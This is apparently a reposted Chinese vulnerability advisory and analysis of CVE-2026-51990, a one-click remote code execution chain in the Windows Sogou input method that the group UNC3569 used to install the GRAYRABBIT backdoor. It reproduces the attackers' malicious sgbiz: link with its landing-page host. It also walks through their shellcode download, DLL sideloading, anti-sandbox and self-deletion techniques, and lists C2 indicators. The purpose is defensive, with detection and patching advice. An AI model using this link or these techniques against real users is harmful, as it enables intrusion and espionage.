2026-09-16 04:40:46 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 搜狗输入法存在CVE-2026-51990高危漏洞，由参数注入、不受限重定向及过时无沙箱内核组合导致RCE，已被UNC3569用于投放GRAYRABBIT后门，建议立即升级至16.3.0.3498并检查注册表与版本信息以确认修复状态。 综合评分： 92 文章分类： 漏洞预警,漏洞分析,实战经验,WEB安全,数据安全

【2026hvv】搜狗一键RCE漏洞之三个”各自不算致命”的缺陷如何变成 Critical，文章详谈~【附验证exp】

FL_Clover FL_Clover

网络安全007

2026年9月15日 11:41 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一、漏洞事件概述

2026年4月，Gen Digital 威胁实验室在追踪 UNC3569 间谍组织活动时，发现其初始入侵载体并非传统钓鱼或供应链污染，而是国内装机量极高的搜狗输入法。经深入逆向与复现，研究人员确认该软件存在一条可被”单次点击”触发的完整远程代码执行链，MITRE 于2026年7月10日正式分配编号 CVE-2026-51990。

该漏洞的本质是三个独立安全缺陷的致命组合：自定义 URI 协议对命令行参数缺乏校验、内嵌浏览器页面可被劫持跳转至任意外部地址、以及一个六年未更新且主动关闭沙箱保护的 Chromium 内核。攻击者只需诱导用户点击一个特制链接，即可在受害者机器上以当前登录用户权限静默执行任意代码，全程无需额外交互或权限提升。

这并非理论风险——UNC3569已在真实攻击中利用该漏洞投放 GRAYRABBIT 模块化后门，目标覆盖东亚及东南亚地区的政府、教育、科技与金融关键基础设施。

关键时间线

2026-04-09：Gen 向腾讯提交完整漏洞报告（含90天协调披露窗口）
2026-04-10：腾讯安全响应中心确认接收并启动评估
2026-04-21：修复版本 16.3.0.3498 通过自动更新全量推送（从报告到修复仅12天）
2026-07-10：MITRE 正式分配 CVE-2026-51990
2026-07月中下旬：国内主流安全厂商集中发布技术分析，推动国内用户感知与修复
2026-09-10：漏洞细节逐渐公开

二、漏洞影响范围

受影响产品：Windows 版搜狗输入法，版本号 < 16.3.0.3498
修复版本：16.3.0.3498（2026-04-21 自动更新推送）在协议处理层封堵该攻击路径，但内嵌浏览器组件本身仍未升级
影响规模：搜狗输入法国内月活用户超数亿，理论上所有未及时更新的 Windows 终端均暴露于攻击面之下
现实威胁等级：高危 / 已在野利用。攻击方为 UNC3569，最终载荷为 GRAYRABBIT 后门，具备远程命令执行、交互式 Shell、文件窃取、系统信息回传及动态插件加载等完整间谍能力
行业聚焦：政府、教育、科技、金融四大领域为已知重点目标，地域集中于东亚与东南亚
触发条件：受害者只需点击一个特制的 sgbiz: 协议链接（可通过钓鱼邮件、即时消息或网页嵌入投递），无需其他交互即可被植入后门

三、漏洞技术要点分析

漏洞链的本质：三0个”各自不算致命”的缺陷如何变成 Critical

这条链的价值在于它揭示了一个非常典型的”信任边界错位”问题

关键洞察：每一环的开发者都做了”局部合理”的决策，但没有人对端到端的信任流负责。

①的开发者认真校验了 module（防路径穿越），因为他把”启动哪个程序”视为危险操作；但他默认”启动自家程序、传什么参数”是安全的——这是一个典型的”参数即代码”误判。在 Windows 生态中，命令行参数的危险性长期被低估（rundll32、regsvr32、mshta、InstallUtil 等 LOLBin 全都靠参数驱动）。
②的开发者把 -url 视为一个”内部调试/运营参数”（例如从弹窗、皮肤推荐位跳转到指定活动页），因此不做校验；他默认只有自家可信组件才会传这个参数。但①的存在直接打破了这个假设。
③的开发者关闭沙箱、关闭 web security、允许 file 协议跨域读取，几乎肯定是为了让本地皮肤资源（file:// 或自定义 scheme）能正常加载与互访——这是 CEF 集成中最常见的”为了功能牺牲安全”的反模式。而 bDisableWebSecurity 被硬编码为 1、不做成配置项，说明这甚至不是一个可关闭的选项，而是架构假设。

这三者的组合产生了 CVSS 意义上的”范围变化”：一个只能”渲染内部皮肤页面”的低权限组件，被提升为”任意外部 URL 的通用执行入口”。

为什么 param 未校验如此致命：skincenter 是唯一”有浏览器的页面”

gendigital原文有一个非常精准的技术观察：SGMyInput.exe 的绝大多数 -page 值都创建原生 Win32 对话框，只有 skincenter 会实例化 CEF webview。

这说明该二进制内部存在一个”能力孤岛”：一个配置工具里嵌了一个完整浏览器，而这个浏览器的存在只是为了展示一个网页版皮肤商店。从攻击面管理角度看，这是典型的”过度集成”：

一个 IME 配置程序不应该需要完整的 Chromium。
皮肤商店完全可以用系统 WebView2（Evergreen，由微软自动更新，默认启用沙箱）替代自捆绑的 CEF。
如果必须自捆绑 CEF，应当锁定并定期升级 libcef.dll，把它当作与 OpenSSL 同等级别的”需要持续打补丁的第三方密码学/网络组件”来管理。

Chromium 80（2020年3月）落后约 60 个大版本，这个数字本身就意味着”利用代码是现货”。攻击者不需要 0-day，不需要自研，只需要从公开 PoC 库里挑一个 2020–2021 年的 V8 漏洞。本案选用的 CVE-2021-38003（JSON.stringify 类型混淆，Chrome < 95.0.4638.69）正是 2021 年被广泛公开、有成熟 PoC 的经典 V8 类型混淆洞（TypeScript 类型混淆家族，与 CVE-2021-30551、CVE-2020-16040 同源）。”用六年前的现货 n-day 打六年前的引擎”——这就是效率最大化的攻击经济学。

disable-web-security 的独立危害被严重低估

即使不打通完整的 RCE 链，–disable-web-security + –allow-file-access-from-files + no_sandbox 的组合本身就已构成高危。具体危害场景有以下方面：

本地文件窃取（无需任何内存破坏漏洞）：攻击者只要能让 webview 加载一个自己的页面（修复前通过 sgbiz:；修复后仍可通过本地进程直接调用 SGMyInput.exe -page=skincenter -url=…），该页面就可以用 fetch(‘file:///C:/Users/x/AppData/…’) 读取任意本地文件并通过 XHR 外传。因为同源策略已被关闭，且允许 file 协议跨源访问。
内网横向侦察与数据窃取（SSRF-like）：关闭同源策略意味着页面可以对 http://192.168.x.x/、http://内网OA/、云元数据端点（169.254.169.254）发起带 Cookie/凭据的请求并读取响应。这在企业内网中价值极高。
凭据/会话劫持：若用户在同一 CEF 实例中登录过任何搜狗/腾讯系服务，页面可直接读取其 storage 与发起已认证请求。

这三类危害都不需要 V8 漏洞利用，纯粹靠”配置不当”就能实现，而且不受本次修复的完整覆盖。

三个缺陷的意义以及具体细节

缺陷1：协议处理器参数注入（biz_helper.exe）

搜狗在 Windows 上注册了自定义 URI 协议 sgbiz:，由 biz_helper.exe 负责解析分发。当处理 sg_process 命令时，程序对 module 参数（要启动的可执行文件）做了严格校验——过滤路径穿越字符、限制长度、验证文件存在性；但对 param 参数（传递给目标程序的命令行参数）却仅做了一次 URL 解码便原样透传，没有任何白名单或过滤机制。攻击者由此可向任意合法的搜狗程序注入任意命令行参数。

缺陷2：内嵌 WebView unrestricted URL 导航（SGMyInput.exe）

攻击者选择启动配置程序 SGMyInput.exe，并注入 -page=skincenter -url=<恶意地址>。skincenter（皮肤商店）是该程序中唯一会创建 CEF（Chromium Embedded Framework）内嵌浏览器的页面。当 OnWebViewIsReady 回调检测到命令行传入了自定义 URL 时，会直接导航过去——不校验协议类型（http/https/file/javascript 均可）、不检查域名白名单，完全信任外部输入。

缺陷3：过时且”裸奔”的浏览器内核（SGWebRender.exe）

内嵌的 libcef.dll 版本为 CEF 80.1.16 / Chromium 80.0.3987.163，发布于2020年3月，落后当时稳定版约60个大版本，缺失六年间数百个已知 CVE 的补丁。更严重的是安全配置被硬编码削弱：

no_sandbox = TRUE：完全禁用 Chromium 沙箱，渲染进程一旦被攻破即可直接触达操作系统；
disable-web-security：关闭同源策略，页面可跨域读取任意资源；allow-file-access-from-files：允许页面读取本地文件；
上述开关由 bDisableWebSecurity 标志控制，且该标志在初始化时被硬编码为1，无法通过配置关闭。

四、漏洞 EXP / PoC 情况

完整的利用链如下：

攻击者构造一条 sgbiz: URL 并投递给受害者（例如通过钓鱼邮件、即时消息或网页链接）。
受害者点击链接，Windows 将其交给 biz_helper.exe。它解析 sgbiz: URL，校验 module 参数（sgmyinput.exe 是合法的搜狗可执行文件，因此通过校验），并把未经校验的 param 值作为命令行参数传下去。
SGMyInput.exe 以 -page=skincenter 和 -url=https://attacker.com/exploit.html 启动。skincenter 页面创建 CEF webview，OnWebViewIsReady 函数在没有任何校验的情况下把浏览器导航到攻击者的 URL。
SGWebRender.exe（运行 Chromium 80，无沙箱，同源策略已关闭）加载攻击者的页面。页面中包含针对过去六年内任意已知 V8 漏洞的 JavaScript 利用代码。
由于没有沙箱，该利用直接获得系统级代码执行。攻击者现在可以做当前用户能做的任何事。

目前公开渠道等流出的 poc.py 是一个非破坏性的本地检测脚本，并不包含真实的利用代码，其功能是判断本机是否处于受影响状态：

检查注册表 HKCR\sgbiz 是否存在（即攻击面是否存在）；
通过注册表标准卸载路径定位搜狗安装目录，读取 version.ini 中的产品版本号；
读取 SGWebRender.exe / SGMiniBrowserHelperHost DLL 的文件版本资源，确认内嵌引擎代际；
将产品版本与修复版本 16.3.0.3498 比对，输出 VULNERABLE / PATCHED / NOT AFFECTED 结论，并以退出码区分（1=存在漏洞，0=安全）。
脚本仅在 Windows 平台运行，声明只做只读检查，不会构造恶意链接、不启动搜狗进程、不修改任何内容，且标注仅限授权安全评估使用。真正的武器化利用代码（V8 类型混淆 EXP + shellcode + GRAYRABBIT）目前仅存在于 UNC3569 的实战攻击中，未被公开发布。

脚本检测可参考：

作者：Rubby2001脚本链接https://github.com/Rubby2001/CVE-POCS/blob/main/CVE-2026-51990/poc.py

目前在野漏洞 Exp

示例：UNC3569 投递的恶意链接

sgbiz:sg_process?module=sgmyinput.exe&param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html

五、UNC3569 攻击链实战

UNC3569 实战利用细节

投递形如下链接；

   sgbiz:sg_process?module=sgmyinput.exe&param=-page=skincenter -url=https://noht1ng.top/....html

落地页触发 CVE-2021-38003（V8 JSON.stringify 类型混淆漏洞，影响 Chrome 95 之前版本），借助 “the hole” 值破坏 V8 内部 Map 结构，获得堆上任意读写能力；
定位 WebAssembly 实例对应的 RWX 内存页，写入921字节的 x64 下载器 shellcode 并跳转执行；
shellcode 通过 PEB 遍历 + ROR8 哈希解析 API，调用 URLDownloadToFileA 从阿里云香港节点（8.218.50[.]207）拉取三个文件到 C:\Users\Public\Documents\：正版 7z.exe、伪装成 7z.dll 的恶意加载器（内部名 boy.dll）、加密载荷文件 p；
以 CREATE_NO_WINDOW 启动 7z.exe 执行一条无意义的压缩命令，实为触发 DLL 侧加载，恶意 7z.dll 抢先接管执行流；
加载器内置反沙箱逻辑（统计进程数是否少于50个来判断沙箱环境，并参与 XOR 解密 key 计算），使用 NTFS 备用数据流（ADS）技术自删除以规避行为日志，并通过线程池 API（而非易被 Hook 的 CreateThread）执行解密后的载荷；
最终载荷为 x64 版 GRAYRABBIT 后门（内部名 core.dll），采用反射式 PE 加载，导出 CoreClientInstall/CoreClientStart。C2 通信使用裸 TCP 443 端口连接 mail[.]uaiubifas[.]top，每帧固定4096字节并以静态密钥 m5b1u3 做 RC4 加密。支持命令执行、交互式反向 Shell、文件上传下载、系统信息收集（IP/主机名/用户名/进程信息）以及从 C2 动态下发插件扩展能力。

UNC3569 在这条链上展示了几个值得防御方学习细节点如下

(a) 下载器内联化（RABBITFUR → shellcode 内嵌）

把原本独立的下载器 RABBITFUR 的功能压缩进 921 字节的 V8 利用 shellcode，减少了磁盘上的一个可疑 PE 落地点，也减少了一次进程创建事件。检测含义：不要只依赖”可疑 PE 落地 + 进程创建”的检测范式，要检测浏览器渲染进程自身的异常网络行为（SGWebRender.exe 发起对非搜狗域名的 HTTP 请求，或发起 URLDownloadToFileA）。

(b) 侧载宿主的选择：7z.exe

使用合法签名的 7-Zip 作为侧载宿主（T1574.002），并通过一个语义无害的压缩命令来触发它。命令 7z.exe a p.7z p 在命令行审计中看起来完全正常。检测含义：命令行内容不可信，应检测加载的 DLL 的签名状态与路径——即”由 C:\Users\Public\Documents\ 这类世界可写目录加载的、无签名或签名异常的 7z.dll”。C:\Users\Public\Documents\ 这个落地点本身就是强 IOC。

最巧妙的部分：它不是”检测到沙箱就退出”，而是”检测到沙箱就解出垃圾数据”。

传统的”检测即退出”（if (isSandbox) return;）会在行为日志中留下明显的早退特征，且沙箱厂商容易通过打补丁绕过。
这里把沙箱检测结果混入解密密钥，导致在沙箱中载荷解密成随机字节，随后的反射加载会失败/崩溃——分析者看到的是一个”解密失败”的假象，而非”反沙箱触发”。这是一种”隐式反分析”。
同时用一段 50,000 次迭代的 sqrt/乘法/倒数浮点运算产生一个”看起来像环境指纹、实际是常量”的值，既能拖慢动态分析，又能在静态分析时误导分析师以为存在硬件/时间绑定。

检测含义：对样本做自动化脱壳时，需要保证沙箱环境的进程数 ≥ 50（预置填充进程），否则永远拿不到正确载荷。这是一条非常实用的沙箱运营建议。

(d) 执行方式：Thread Pool API 而非 CreateThread

CreateThreadpoolWork / SubmitThreadpoolWork 是 EDR 挂钩密度远低于 CreateThread / CreateRemoteThread 的路径。检测含义：把线程池 API 纳入 RWX 内存分配后的执行监控。

(e) 自删除：NTFS ADS 重命名 + FileDispositionInfo

通过 SetFileInformationByHandle(FileRenameInfo) 把默认流改名为随机 ADS，再用 FileDispositionInfo 标记删除。全程不调用 DeleteFileW，绕过了大量基于 DeleteFile* API 挂钩的检测规则。检测含义：监控 SetFileInformationByHandle 的 FileDispositionInfo 类别（Minifilter / ETW Microsoft-Windows-Kernel-File 可提供），而非只看 DeleteFile。

(f) C2 协议的强特征（这是最好的检测点）

GRAYRABBIT 的 C2 有几个极易检测的指纹，防御方应立即落地：

443 端口上的非 TLS 流量：端口是 443，但没有 TLS ClientHello。任何支持 JA3/JA4 或 TLS 强制检测的 NDR/IDS 都能立刻告警。这是本案中性价比最高的检测点。
固定 4096 字节帧长 + 零填充：每个应用层报文恰好 0x1000 字节，短消息尾部全为零填充。加密后虽然看不到零，但报文长度恒定为 4096这一特征在流统计上极其显眼（正常 HTTPS 流量长度分布是长尾且变化的）。
静态 RC4 密钥 m5b1u3，每帧重置 S-box：意味着密文可被离线解密（一旦拿到二进制），也意味着 RC4 keystream 在前若干字节上对每个会话都是相同的——若存在任何已知明文（如 magic 0x6D7367FF），可构造极短的字节签名做流量匹配。
心跳格式 +++:：结构固定、分隔符为 + 和 :。
RTTI 类名 SRMsg / NormalMsg / FileMsg 与导出名 CoreClientInstall / CoreClientStart：静态检测（YARA）的黄金特征。
域名编码方式：C2 域名被拆成 16 字节 XMM 常量 + 2 字节字面量 “op”，运行时拼接。这种”用 SIMD 立即数藏字符串”的手法本身可以作为 YARA 特征（movdqa xmm, [rip+…] 后接 mov word/字符串拼接模式）。

六、ATT&CK 映射

七、修复建议

用户/企业侧：

立即升级：确认搜狗输入法 Windows 版已更新至 16.3.0.3498 或更高版本。补丁在 biz_helper.exe 层对 -url、-firsturl 等参数强制要求 HTTPS 协议，并对目标域名做后缀匹配的白名单校验（仅限 sogou.com、qq.com、woa.com、sogou 四个域及其子域），从入口切断了攻击路径。
无法立即升级的临时缓解：可考虑删除注册表中 HKCR\sgbiz 协议注册项，直接消除攻击面；同时教育用户不要点击来源不明的 sgbiz: 链接。
终端检测与排查：

监控 SGMyInput.exe 携带 -page=skincenter 和 -url= 参数的异常启动；
排查 C:\Users\Public\Documents\ 下异常出现的 7z.exe、7z.dll 及加密文件组合；
部署 DLL 侧加载检测规则，重点关注 7-Zip 进程加载非官方签名 DLL 的行为；
留意使用 NTFS ADS 自删除和线程池 API 执行的进程行为。

参考链接：

[1.]https://www.gendigital.com/blog/insights/research/one-click-backdoor-sogou[2.]https://github.com/Rubby2001/CVE-POCS/blob/main/CVE-2026-51990/poc.py

本文技术推断部分基于公开披露信息与移动安全领域通用原理，具体漏洞细节以正式发布的研究报告为准。本文不构成任何攻击指导性内容，仅用于防御研究与安全教育,不含可直接武器化的完整利用代码。相关软件已于 2026-04-21 发布修复版本（16.3.0.3498），请立即升级。

免责声明：

本文章仅做网络安全技术研究使用！另利用网络安全007公众号所提供的所有信息进行违法犯罪或造成任何后果及损失，均由使用者自身承担负责，与网络安全007公众号无任何关系，也不为其负任何责任，请各位自重！公众号发表的一切文章如有侵权烦请私信联系告知，我们会立即删除并对您表达最诚挚的歉意！感谢您的理解！让我们一起为中国网络安全事业尽一份自己的绵薄之力！

—推荐阅读—

攻防演习系列

渗透技术文章系列

未授权漏洞系列

HW专项系列

应急响应系列

工具推荐系列

写作不易，分享快乐

期待你的分享●点赞●在看●关注●收藏****

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：网络安全007 FLClover FLClover《【2026hvv】搜狗一键RCE漏洞之三个”各自不算致命”的缺陷如何变成 Critical，文章详谈~【附验证exp】》